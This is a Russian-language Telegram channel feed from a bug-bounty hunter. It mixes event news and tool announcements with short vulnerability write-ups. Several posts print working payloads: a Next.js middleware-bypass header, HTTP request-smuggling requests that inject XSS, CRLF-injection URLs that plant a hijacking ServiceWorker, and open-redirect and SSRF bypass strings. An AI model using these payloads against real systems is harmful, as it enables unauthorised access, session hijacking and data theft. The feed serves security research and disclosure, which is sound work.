shadow_group_tg | Unsorted

Telegram-канал shadow_group_tg - SHADOW:Group

11515

Чат: @shadow_chat_tg Предложения, вопросы, сотрудничество: @shdwpwn

Subscribe to a channel

SHADOW:Group

Год назад эту защиту нельзя было обойти, однако сейчас это стало реально. Про интересную особенность рассказали в X.

Дело в том, что раньше нельзя было использовать точку в протоколе, но теперь браузер Chromium ее поддерживает (URL вернет действительное имя хоста с любым недействительным протоколом, даже с точкой)

Соответственно, мы можем использовать пэйлоад типа evil.com://www.example.com. Хост www.example.com будет в списке разрешенных, к параметру добавится префикс «https://» и мы получим редирект на https://evil.com//www.example.com.

#web #bypass

Читать полностью…

SHADOW:Group

😀😃😄😁 Выложили записи докладов с BUGS ZONE 4.0 

Ивент вышел очень насыщенным. Просто оставим это бинго здесь без лишних слов. Уверены, у каждого участника найдется хоть один пункт, достойный галочки. 

А всем, кто не смог быть с нами на очном ивенте, предлагаем посмотреть записи докладов:

🔷(Не)безопасные бакеты
Гулевский Роман (mr4nd3r50n)
VK / YouTube

🔷А как сканить
Сиряк Илья (shdw)
VK / YouTube

Приятного просмотра!

Читать полностью…

SHADOW:Group

В эту пятницу слетал в МСК, куда меня позвали на BugZone 4.0 и на котором я также выступил с лайтовым докладом про сканирования на багбаунти.

В положительную сторону, как всегда, отмечу крутую организацию, мерч, активности, напитки и всё такое. Из минусов, лично для меня, это раннее завершение мероприятия. К сожалению, не со всеми успел пообщаться. Кроме того, многих знакомых просто не было.

В остальном, всё отлично, ждем новых программ и активностей. Багхантить пока особо некогда, но, надеюсь, быстро раскидаю все свои дела и в ближайшее время вернусь к тыканью кавычек.

Читать полностью…

SHADOW:Group

🖥 Вы просили — мы открыли!

Стартуем с практикой раскрытия отчетов от багхантеров! На платформе Standoff Bug Bounty уже доступны первые 7 отчетов, подготовленные cutoffurmind, kedr и circuit.

Делимся инсайтами авторов🔹

circuit:

«Начинающие багхантеры должны как-то учиться. Учиться на чужих примерах — это отличный вариант. Да и программы будут получать больше репортов после дисклозов, мне так кажется. Кого-то эти отчеты смогут мотивировать на поиск уязвимостей».

cutoffurmind:
«Это редкий вариант эксплуатации blind RCE, когда на выходе имеем только exit status код процесса. А еще уязвимость была найдена после анализа исходного кода проекта на GitHub».


kedr:
«Помимо обмена опытом (а большая часть багбаунти — это изучение находок других хантеров), дисклозы создают ощущение «движухи» и подталкивают тебя к тому, чтобы тоже пойти и потыкать программу. Кроме того, можно посмотреть, как компания оценивает уязвимости и высчитывает критичность — ведь одна и та же XSS может быть как medium, так и high-critical».


🔹 Поддерживаем мнение авторов — что может быть более вдохновляющим, чем чужой репорт?

🔹Поэтому не собираемся на этом заканчивать, следите за обновлениями — в будущем вас ждут новые дисклозы.

🔹 Надеемся, что опубликованные отчеты натолкнут вас на новые поиски — ждем ваши отчеты в программу VK Bug Bounty!

И не забывайте, что с Bounty Pass можно копить бонусы к выплатам на целый год.

VK Security

#bugbounty #bountypass #reports

Читать полностью…

SHADOW:Group

↔️ Next.js и повреждённый middleware

Раскрыли подробности новой уязвимости в Next.JS CVE-2025-29927. Уязвимость затрагивает все версии Next.js начиная с 11.1.4. Суть проблемы — некорректная обработка заголовка x-middleware-subrequest, позволяющая полностью игнорировать middleware, включая проверку авторизации и перезапись путей.

Как это работает

Next.js использует x-middleware-subrequest для внутренних нужд: он указывает, какие middleware уже были пройдены. Однако злоумышленник может сам подставить значение, указывающее, что middleware уже обработан, и тем самым обойти все проверки.

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Пример запроса:
GET /admin/dashboard HTTP/1.1
Host: vulnerable.site
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Результат: Middleware полностью игнорируется, и запрос проходит, как будто пользователь авторизован.

Другие сценарии атак

🔹CSP bypass
Если middleware устанавливает Content-Security-Policy и другие заголовки - они будут проигнорированы.

🔹DoS через Cache Poisoning
Например, если сайт делает rewrite на основе геолокации, можно закэшировать "пустую" или ошибочную версию страницы, нарушив доступность для других.

Кого это касается
Приложения, использующие middleware для авторизации или других чувствительных задач. Если middleware не используется - уязвимость малозначима (кроме DoS-сценариев).

📖 Подробнее:
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

#web #bac #cache #dos #csp

Читать полностью…

SHADOW:Group

🔃 OpenResty/lua-nginx-module: Уязвимость HTTP Request Smuggling в HEAD-запросах

Раскрыли подробности CVE-2024-33452. При обработке HTTP/1.1-запросов lua-nginx-module некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос.

Пример

Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET /smuggle находится в теле HEAD-запроса:

HEAD / HTTP/1.1
Host: localhost
Content-Length: 52

GET /smuggle HTTP/1.1
Host: localhost


Однако lua-nginx-module интерпретирует его как два отдельных запроса, что приводит к рассинхронизации прокси-серверов в цепочке.

Сценарии атак

Прокси-серверы, использующие lua-nginx-module, уязвимы к этой атаке (например, Kong Gateway, Apache APISIX и другие).

Пример с Kong Gateway

Если Kong работает самостоятельно, уязвимость не представляет особой опасности. Но если Kong используется в связке с фронт-прокси (например, Nginx, Cloudflare и т. д.), злоумышленник может:
1. Внедрять вредоносные ответы (например, XSS-атаки).
2. Обходить защиту фронт-прокси (например, обход Cloudflare).
3. Перехватывать ответы других пользователей.

1️⃣ Внедрение XSS через смуглинг

Этот сценарий позволяет заставить всех пользователей загрузить вредоносный ответ с XSS-кодом, даже если сайт использует обычную страницу Apache.

HEAD / HTTP/1.1
Host: localhost
Content-Length: 122

HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive

GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:


Результат: Все пользователи, отправляющие обычные запросы, получат XSS-скрипт в ответе.

2️⃣ Обход защиты фронт-прокси (Cloudflare)

Допустим, Cloudflare блокирует доступ к /admin. Злоумышленник может скрыть GET-запрос к /admin внутри HEAD-запроса и обойти защиту.

Пример:

HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40

GET /admin HTTP/1.1
Host: victim.com


Результат: Cloudflare не увидит GET-запрос, и злоумышленник сможет обойти защиту.

3️⃣ Кража ответов других пользователей

Этот метод позволяет рассинхронизировать очередь ответов на сервере и захватить ответы других пользователей.

Пример атаки
1. Атакующий отправляет HEAD-запрос с внедрённым GET-запросом.
2. Сервер ошибочно интерпретирует тело как отдельный запрос.
3. Ответ попадает не атакующему, а следующему пользователю, а атакующий может забрать ответ жертвы.

Подробности

Более подробное описание читайте в блоге по ссылке.

#web #hrs #xss

Читать полностью…

SHADOW:Group

😆 (Не)секретный чатик багхантеров

А вы знаете, что у нашего комьюнити есть чат, в котором общаются исследователи и команда платформы? Там уже больше 250 человек, не хватает только вас!

Залетайте в чат, чтобы:

🔵Общаться с другими хантерами.
🔵Получать помощь и делиться опытом.
🔵Быть на связи с командой платформы.
🔵Оставаться в курсе новостей.
🔵Вместе посещать багбаунти-ивенты.
🔵Делиться мемами и просто болтать о багхантинге.

Присоединяйтесь, будем вместе прокачиваться в работе с уязвимостями ;)

Читать полностью…

SHADOW:Group

По результатам 2024 года вошел в топ-3 на @bizone_bb. Сдавал, да и в целом багхантил, достаточно мало, что видно по количеству отчетов. Но если садился, то старался сдавать в основном баги с высокой критичностью, что видно по грейду и рейтингу. Ниже немного статистики.

Принято - 50
Дубликатов - 29 (большая часть high/critical)

Из принятых:
Critical - 14
High - 11
Medium - 19
Low - 6

Результат мог быть и лучше, если бы я тратил больше свободного времени на багхантинг, но, в целом, и так не плохо. Отдельное спасибо ребятам за всякие ивенты, подарки и прочие ништяки, это всегда круто.

Читать полностью…

SHADOW:Group

🔃 WebSocketChecker для Burp Suite

Подвезли расширение для поиска утечек данных в WebSocket-сообщениях. Автоматически находит ключи API, токены и другие секреты.

Ссылка на GitHub

#web #tools #leak

Читать полностью…

SHADOW:Group

Сегодня мы познакомимся с уязвимостью Insecure Deserialization на примере нескольких задач с PortSwigger и Standoff365 👨‍💻

В статье мы разберём, как устроены процессы сериализации и десериализации, а также напишем собственные эксплойты для реализации уязвимостей 😻

Подробнее

Читать полностью…

SHADOW:Group

Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)

Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.

Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type

Используя CRLF Injection оба этих условия легко выполняются:

XSS

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>


JS файл
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file


Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.

Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.

Для этого формируем код ServiceWorker с Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.
https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})


И подключаем его через XSS.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E


Также иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A

Читать полностью…

SHADOW:Group

🙏 Розыгрыш проходок BUGS ZONE 3.0

В ноябре планирую поехать на оффлайн часть приватного ивента для багхантеров BUGS ZONE 3.0. Если не получили приглашение, то у ребят из BI.ZONE Bug Bounty сейчас проходит розыгрыш проходок.

Обещают доклады, подарки и всякие интересные активности, а также вы сможете увидеть и пообщаться с множеством топовых багхантеров, представителями площадки и вендоров.

Читать полностью…

SHADOW:Group

💻 Что не так с этим кодом?

Взгляните внимательно на код ниже. Заметили уязвимость? Ответ под спойлером.

<?php
$input = $_GET["password"];
$answer = json_decode($input);
//random 16 character token
$token = base64_encode(bin2hex(random_bytes(16)));
$password = $answer->password;
if ($password == $token) {
echo "Admin Panel";
} else {
echo "Error Encoutered! Wrong Token!<br>";
echo "Your token was: $token";
}
?>


Можно ли обойти аутентификацию указав вместо пароля значение true? На самом деле да и данный код тому пример.

PHP имеет слабую типизацию, и при использовании оператора == (нестрогое сравнение) происходит автоматическое приведение типов. Это может привести к неожиданным результатам при сравнении разных типов данных.

В данном случае, если злоумышленник отправит JSON, где значением поля password будет true, сравнение между $password и сгенерированным токеном пройдет успешно. Сравнение в строке if ($password == $token) приведет токен к типу boolean для выполнения сравнения, и поскольку любое непустое значение токена при приведении к булеву типу будет равно true, условие выполнится успешно. Таким образом можно обойти аутентификацию и получить доступ к закрытому ресурсу.


#web #ato #appsec

Читать полностью…

SHADOW:Group

Сегодня доклад для любителей SSRF и Bug Bounty

Егор Зонов показал примеры уязвимостей Server-Side Request Forgery, которые были сданы в багбаунти Яндекса, вместе со статистикой выплат за них в 2023 году. Рассказал про обнаружение SSRF и про распространённые способы от него защититься, а на 21-й минуте заспойлерил сервис SSRF Sheriff во внутрянке Яндекса — инструмент для багхантеров на «Охоте», который позволяет проверить, а был ли SSRF.

📺 → видос
🗂 → преза
💬 → фидбэк

Читать полностью…

SHADOW:Group

⌨️ AD CS Web Enrollment. Relay меня полностью

Отличная статья от @VeeZy_VeeZy про AD CS Web Enrollment и его применение на примере проекта по инфраструктурному пентесту.

Подробное объяснение, команды и обилие скринов прилагается.

Ссылка на Хабр

#pentest #ad

Читать полностью…

SHADOW:Group

Преза с моего доклада выше

Читать полностью…

SHADOW:Group

Там кстати стартанул прием заявок на Pentest Award 2025. Я подавался в прошлом году, смог попасть в шорт лист, но до тройки лучших, по мнению жюри, не дотянул.

В этом году появились новые номинации, в том числе за лучший факап, когда что-то пошло не по плану и вы, например, положили прод.

У меня в заначке есть еще пару интересных кейсов на багбаунти, которые, возможно, оформлю в виде статьи и также попробую попытать удачу в этом году.

Читать полностью…

SHADOW:Group

Eсть у меня один приятель, с которым время от времени случаются продуктивные коллабы на bug bounty. Причём он даже не багхантер, а скорее разработчик на консалтинге, который однажды соприкоснулся с моим репортом.

В очередной раз он притащил в наш чат какие-то результаты в виде self-XSS. Но, к моему удивлению, он не оставил эту историю как есть, а допихал self-XSS через wkhtmltopdf и wicked_pdf(Ruby wrapper) в максимально опасную RCE. Причём с RCE его явно хотели прокатить в оценке критичности, ну и я ему подсказал, в каких файлах можно пошариться для определения действительно правильной критичности. В итоге он получил заслуженный critical. И даже написал handball10/from-self-xss-to-rce-in-ruby-on-rails-1f9f2d33c1cb">статейку об этой находке.
PS: мне кажется я бы даже не стал пытаться допинывать self-xss. Но видимо пришло время пересмотреть свои взгляды на мир client-side issues🙈
handball10/from-self-xss-to-rce-in-ruby-on-rails-1f9f2d33c1cb" rel="nofollow">https://medium.com/@handball10/from-self-xss-to-rce-in-ruby-on-rails-1f9f2d33c1cb

Читать полностью…

SHADOW:Group

Хотите задать вопрос топовым хакерам из Synack и HackerOne?

В нашем канале коммуникации 15 апреля в 19:00 (мск) пройдет стрим в формате ответов на все ваши вопросы с топовыми хакерами Hussein Daher и Nikhil "Niksthehacker" Shrivastava!

Что будет на стриме?

🔥 Как гости стрима пришли в багбаунти и что стало точкой невозврата?
🔥 На каких уязвимостях они фокусируются и почему?
🔥 Как понять, когда копать глубже, а когда менять таргет?
🔥 Самые запоминающиеся репорты, инсайты и лайфхаки.

Кто в эфире?

🔹 Hussein Daher — этичный хакер, который с 2014 года нашел более 1500 уязвимостей более чем в 800 компаниях. Основатель WebImmunify․com, компании, которая занимается пентестом и консультациями по кибербезопасности.
🔹Nikhil Shrivastava (Niksthehacker) — Synack Legend Hacker — помог найти более 1500 уязвимостей в продуктах Google, Microsoft, Tesla. Выступал на DEF CON, BlackHat и RSA.

Модератором стрима выступит Александр Мошков.

💡 Готовьте вопросы — спикеры ответят на все, что вы захотите узнать!

Читать полностью…

SHADOW:Group

Изучая документацию jadx наткнулся на упоминание, что его можно подключить как библиотеку в свое Java приложение. И эта идея настолько понравилась, что в итоге вылилась в небольшой комбайн, который удобно использовать для первоначальной обработки JAR/WAR/APK приложений при анализе защищенности.

https://github.com/BlackFan/BFScan

BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты.
А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов.

Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.

@RestController
@RequestMapping("/api")
public class UserController {

@PostMapping("createUser")
public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
return "response";
}


В случае, если обрабатываемое приложение использует поддерживаемую библиотеку, утилита сгенерирует файл, содержащий все HTTP запросы, поддерживаемые приложением.
POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
"name": "name",
"age": 1
}


Приложение удобно использовать как для клиентских приложений, когда вы анализируете API мобильного приложения. Так и в случае, если вы получили скомпилированный JAR/WAR от серверного приложения, для поиска в нем захардкоженных секретов или дальнейшего анализа API эндпоинтов, которое оно обрабатывает.

Если приложение обфусцировано, что часто бывает с APK, утилита проанализирует все аннотации и, если они похожи на типичное объявление API эндпоинтов, построит HTTP запросы на основе них. В случае, если данная функциональность сработала неправильно, используя jadx вы можно легко сформировать mapping-файлы для переименования обфусцированных классов и корректного формирования HTTP-запросов.

Читать полностью…

SHADOW:Group

🤨 С вас 1e-1 рублей

На практике часто приходится сталкиваться с тестированием платёжных систем. Данная методичка поможет пентестерам проводить более тщательный анализ безопасности таких систем. На проекте также воспользовался данным материалом.

Краткое содержание:
➡️Уязвимости типа Time-of-Check-Time-of-Use (TOCTOU) и Race Condition;
➡️Манипуляции с параметрами;
➡️Атаки повторного воспроизведения (Replay Attacks);
➡️Ошибки округления;
➡️Проблемы обработки числовых данных;
➡️Уязвимости, связанные с номерами карт;
➡️Динамическое ценообразование, цены с допуском и реферальные схемы;
➡️Перебор и угадывание данных (Enumeration and Guessing);
➡️Проблемы криптографии;
➡️Загружаемые и виртуальные товары;
➡️Скрытые и небезопасные backend-API;
➡️Использование тестовых данных в production-среде;
➡️Арбитраж валют при пополнении/покупке и выводе/возврате средств.

Документ переведён на русский язык, но оригинал на английском также сохранён. Когда встретится кривой перевод, всегда можно свериться с оригинальным текстом страницей выше.

Сохраняйте себе, чтобы не потерять!

#материал

Читать полностью…

SHADOW:Group

⌨️ Путь от ограниченного Path Traversal к RCE с вознаграждением в $40,000

История о нахождении и раскрутке RCE в публичной багбаунти программе.

Ссылка на статью

#web #rce #recon

Читать полностью…

SHADOW:Group

Набагхантил на еду!
Спасибо Т-Банку 🥰

Читать полностью…

SHADOW:Group

🪲 Дисклоз уязвимостей в программе BI.ZONE Bug Bounty

Ребята из @bizone_bb раскрыли две уязвимости на их платформе. Респект им и @guleroman за находки.

1️⃣Уязвимость, позволяющая админу любой программы менять данные других пользователей, что приводит к захвату аккаунтов багхантеров или лишению доступа в кабинет других админов программ.

https://bugbounty.bi.zone/reports/5647

2️⃣Broken Access Control, позволяющий загрузить файл и прикрепить его ко всем отчетам и комментариям на платформе от имени автора отчета.

https://bugbounty.bi.zone/reports/5646

#web #idor #ato

Читать полностью…

SHADOW:Group

💳 Про инъекции в JSON

JSON стал основой большинства коммуникаций API и его простота часто упускается из виду в моделях угроз. Тем не менее, в современных веб-приложениях и API-интерфейсах в конвейере запросов может использоваться несколько анализаторов, каждый со своими особенностями и уязвимостями. Расхождения между парсерами в сочетании с многоступенчатой обработкой запросов могут привести к серьезным уязвимостям.

Рассмотрим пример когда объекты JSON напрямую сериализуются в базу данных (MongoDB, Couchbase, DynamoDB, CosmosDB и т.д.) и десериализуются во внешние компоненты, которые используют разные анализаторы.

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}

HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'administrator' is forbidden"}


В данном примере производится очистка входных данных, блокирующая создание администратора. Однако, если на бэке популярный в Python анализатор ujson, мы можем добавить символ Unicode, который обрежется анализатором и поможет обойти данную проверку.

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}

HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}


Более подробно об этом и других кейсах читайте в статье по ссылке.

#web #bypass #priveesc

Читать полностью…

SHADOW:Group

↔️ Open Redirect и SSRF в Spring

Если вам попалось приложение на Spring и вы пытаетесь раскрутить SSRF или Open Redirect, то обратите внимание на недавнее CVE-2024-22243.

Символ «левой квадратной скобки» [ в сегменте юзеринфо может привести к тому, что UriComponentsBuilder в Spring вернет значение имени хоста, которое отличается от интерпретации крупных браузеров, что может позволить обойти вайтлист и обратиться к закрытому ресурсу.

http://target.com/redirect?url=https://target.com%5b@evil.com


Подробнее по ссылке.

#web #redirect #ssrf

Читать полностью…

SHADOW:Group

Как читают отчет по пентесту

Читать полностью…

SHADOW:Group

SSRF через вложения в электронной почте

Приложение позволяло администраторам отправлять массовые письма пользователям в организации. Оно также разрешало прикреплять файлы к письмам. Вложения кодировались в base64 и добавлялись в качестве параметра запроса (см. на скрин)

Не было особой причины думать, что изменение параметра email_attachments на URL сработает, но я решил попробовать. И действительно, после изменения его на Burp Collaborator я получил отстук:

GET / HTTP/1.1  
accept-encoding: gzip,deflate
user-agent: nodemailer/4.7.0
Host: 716cq...ht5i.burpcollaborator.net
Connection: close


Оказалось, что приложение использует старую версию nodemailer. Быстро стало понятно, что приложение просто принимает строку email_attachments, введённую пользователем, и передаёт её как параметр пути в API вложений nodemailer.

Приложение ожидало data:URI, но если вместо этого передать URL, nodemailer попытается найти файл по этому URL и прикрепить его.

Забавно, что nodemailer очень хотел видеть расширение файла в URL. Поэтому для получения файлов надо было указывать что-то типа http://10.10.1.3:3000/api/v1/apps/list%23test.txt.

Позже выяснилось, что nodemailer прикреплял и локальные файлы. Отправка запроса на конечную точку send_email с перечнем известных путей к файлам привела к интересным находкам: конфигурационные файлы, дампы пользователей и т.д.

#web #ssrf #lfr

Читать полностью…

SHADOW:Group

Баг, через который можно угнать все машины от Kia

У Kia есть приложение Connect, через которое можно узнать где находится твоя машина, посигналить, а еще открыть ее и завести. Но как оно понимает, что это твоя машина, а не чужая?

После того, как ты купил Kia, дилер дает тебе ссылку, которая линкует машину с твоей учеткой для входа в само приложение.

Ссылка с одноразовым токеном ведет на сайт дилера. На этом же сайте из JS-кода можно найти эндпоинты, через которые дилер генерит эти ссылки, а еще запросы на то, чтобы управлять машиной.

Кроме того, ты сам можешь зарегаться как дилер, — этот эндпоинт был скрыт, но его получилось найти из-за того, что сайт дилера это форк клиентского API. И читать данные о владельцах чужих машин, а еще управлять ими.

Мораль такая: если ты покупаешь такую машину, помни, что она не становится твоей на 100%. У дилера, вендора и хакеров всегда остаются возможности угнать ее удаленно.

Читать полностью…

SHADOW:Group

🤠 Дикий Запад, 2024 год. Вечереет. В бар заходят двое хакеров и специалист SOC в Standoff. Бармен бросает на них взгляд и говорит:

«Заходите, чужаки. Откуда сами будете? Слышали новость нашего городка?

Два топа комьюнити — BooL и mimicate — исключительно в образовательных целях (для того чтобы поделиться с вами подходами к исследованию безопасности) порешали в формате спродюсированного батла пару заданий на онлайн-полигоне Standoff. Наблюдал за ними Рэм, главный ковбой, а точнее руководитель группы продуктов безопасности Standoff: следил за их действиями через средстваа защиты информации и комментировал».

Бармен наливает три пинты пива 🍺🍺🍺. Вытирая пену со стаканов, он продолжает:

«Что вышло? Смотрите в четырех опубликованных стрим-записях. Все ролики идут в одном тайминге. Хочешь — смотри общий, хочешь — переключайся между экранами профессионалов и изучай их техники и тулзы».

Общая трансляция (Вид от лица Бармена)
BooL
mimicate
Рэм (Главный ковбой)

Читать полностью…
Subscribe to a channel